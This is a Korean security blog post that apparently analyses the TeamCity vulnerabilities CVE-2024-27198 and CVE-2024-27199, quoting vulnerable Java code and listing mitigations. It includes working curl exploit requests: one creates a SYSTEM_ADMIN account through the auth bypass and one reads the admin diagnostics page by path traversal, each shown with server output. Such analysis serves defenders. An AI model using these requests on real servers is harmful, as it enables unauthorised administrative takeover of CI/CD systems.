1.TeamCity

- JetBrains社에서 개발한 CI/CD(Continuous Integration/Continuous Delivery)

 

2. 취약점

2.1 CVE-2024-27198

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198 [1]

 

- 원격의 공격자가 관리자 권한을 획득할 수 있는 인증 우회 취약점 (CVSS: 9.8)

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

-  jetbrains.buildServer.controller.BaseController 클래스가 특정 요청을 처리하는 방식에의해 발생 [2]

> 클래스의 handleRequestInternal 메서드로 요청을 서비스할 때 리다이렉션이 발생하지 않으면, updateViewIfRequestHasJspParameter 메서드 호출

public abstract class BaseController extends AbstractController {
    
    // ...snip...
    
    public final ModelAndView handleRequestInternal(HttpServletRequest request, HttpServletResponse response) throws Exception {
        try {
            ModelAndView modelAndView = this.doHandle(request, response);
            if (modelAndView != null) {
                if (modelAndView.getView() instanceof RedirectView) {
                    modelAndView.getModel().clear();
                } else {
                    this.updateViewIfRequestHasJspParameter(request, modelAndView);
                }
            }
    // ...snip...

 

- updateViewIfRequestHasJspParameter 메서드의 isControllerRequestWithViewName 변수는 아래 조건으로 설정됨

> ① 현재 모델 AndView 모두 이름이 있고 ② 현재 요청의 servlet 경로가 .jsp로 끝나지 않으면 true로 설정

private void updateViewIfRequestHasJspParameter(@NotNull HttpServletRequest request, @NotNull ModelAndView modelAndView) {

    boolean isControllerRequestWithViewName = modelAndView.getViewName() != null && !request.getServletPath().endsWith(".jsp");
        
    String jspFromRequest = this.getJspFromRequest(request);
        
    if (isControllerRequestWithViewName && StringUtil.isNotEmpty(jspFromRequest) && !modelAndView.getViewName().equals(jspFromRequest)) {
        modelAndView.setViewName(jspFromRequest);
    }
}

 

- 다음으로 getJspFromRequest 메서드 호출되며, 호출의 결과값이 ModelAndView.setViewName 메서드로 전달

> ① jsp로 문자열이 끝나는지 ② admin/ 문자열을 포함하지 않는지 확인

protected String getJspFromRequest(@NotNull HttpServletRequest request) {
    String jspFromRequest = request.getParameter("jsp");
        
    return jspFromRequest == null || jspFromRequest.endsWith(".jsp") && !jspFromRequest.contains("admin/") ? jspFromRequest : null;
}

 

- 공격자는 /app/rest/server URL과 3 가지 조건을 설정해 공격을 수행

① 404 응답을 생성하는 인증되지 않은 리소스 요청 Ex. /hax

② 인증된 URI 경로의 값이 포함된 jsp 매개변수 전달 Ex. ?jsp=/app/rest/server

③ 임의의 URI 경로가 .jsp로 끝나도록 지정 Ex. ;.jsp

Exploit URL: /hax?jsp=/app/rest/server;.jsp
========================================
관리자 계정 생성 Exploit
C:\Users\sfewer>curl -ik hxxp://IP/hax?jsp=/app/rest/users;.jsp -X POST -H "Content-Type: application/json" --data "{\"username\": \"haxor\", \"password\": \"haxor\", \"email\": \"haxor\", \"roles\": {\"role\": [{\"roleId\": \"SYSTEM_ADMIN\", \"scope\": \"g\"}]}}"
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER
Cache-Control: no-store
Content-Type: application/xml;charset=ISO-8859-1
Content-Language: en-IE
Content-Length: 661
Date: Wed, 14 Feb 2024 17:33:32 GMT

<?xml version="1.0" encoding="UTF-8" standalone="yes"?><user username="haxor" id="18" email="haxor" href="/app/rest/users/id:18"><properties count="3" href="/app/rest/users/id:18/properties"><property name="addTriggeredBuildToFavorites" value="true"/><property name="plugin:vcs:anyVcs:anyVcsRoot" value="haxor"/><property name="teamcity.server.buildNumber" value="147512"/></properties><roles><role roleId="SYSTEM_ADMIN" scope="g" href="/app/rest/users/id:18/roles/SYSTEM_ADMIN/g"/></roles><groups count="1"><group key="ALL_USERS_GROUP" name="All Users" href="/app/rest/userGroups/key:ALL_USERS_GROUP" description="Contains all TeamCity users"/></groups></user>

 

2.2 CVE-2024-27199

[사진 2] https://nvd.nist.gov/vuln/detail/CVE-2024-27199 [3]

 

- 원격의 공격자가 관리자 작업을 수행할 수 있는 경로 탐색 취약점

 영향받는 버전: TeamCity 2023.11.4 이전 버전

 

- 다음 세 경로에 대해 인증 과정이 적용되지 않음 [4]

① /res/
② /update/
③ /.well-known/acme-challenge/

 

- 공격자는 위 세 경로를 이용해 인증을 우회하여 서버의 정보 등을 획득할 수 있음

C:\Users\sfewer>curl -ik --path-as-is hxxp://IP/res/../admin/diagnostic.jsp
HTTP/1.1 200
TeamCity-Node-Id: MAIN_SERVER

...snip...

          <div>Java version: 17.0.7</div>
          <div>Java VM info: OpenJDK 64-Bit Server VM</div>
          <div>Java Home path: c:\TeamCity\jre</div>

            <div>Server: Apache Tomcat/9.0.83</div>

          <div>JVM arguments:
            <pre style="white-space: pre-wrap;">--add-opens=jdk.management/com.sun.management.internal=ALL-UNNAMED -XX:+IgnoreUnrecognizedVMOptions -XX:ReservedCodeCacheSize=640M --add-opens=java.base/java.lang=ALL-UNNAMED --add-opens=java.base/java.io=ALL-UNNAMED --add-opens=java.base/java.util=ALL-UNNAMED --add-opens=java.base/java.util.concurrent=ALL-UNNAMED --add-opens=java.rmi/sun.rmi.transport=ALL-UNNAMED -Djava.util.logging.config.file=c:\TeamCity\bin\..\conf\logging.properties -Djava.util.logging.manager=org.apache.juli.ClassLoaderLogManager -Djdk.tls.ephemeralDHKeySize=2048 -Djava.protocol.handler.pkgs=org.apache.catalina.webresources -agentlib:jdwp=transport=dt_socket,server=y,address=4444,suspend=n -Xmx1024m -Xrs -Dteamcity.configuration.path=../conf/teamcity-startup.properties -Dlog4j2.configurationFile=file:../conf/teamcity-server-log4j.xml -Dteamcity_logs=c:\TeamCity\bin\..\logs -Dignore.endorsed.dirs= -Dcatalina.base=c:\TeamCity\bin\.. -Dcatalina.home=c:\TeamCity\bin\.. -Djava.io.tmpdir=c:\TeamCity\bin\..\temp </pre>
          </div>

 

3. 대응방안

- 최신버전 업데이트 적용 [5]

- 비인가 관리자 계정 생성, 시스템 설정 변경 등 점검

- 탐지 패턴 등록 및 모니터링

 

4. 참고

[1] https://nvd.nist.gov/vuln/detail/CVE-2024-27198
[2] https://attackerkb.com/topics/K3wddwP3IJ/cve-2024-27198/rapid7-analysis
[3] https://nvd.nist.gov/vuln/detail/CVE-2024-27199
[4] https://attackerkb.com/topics/ADUie1mrpK/cve-2024-27199/rapid7-analysis
[5] https://www.boho.or.kr/kr/bbs/view.do?bbsId=B0000133&pageIndex=1&nttId=71360&menuNo=205020
[6] https://www.boannews.com/media/view.asp?idx=127389&page=1&kind=4

+ Recent posts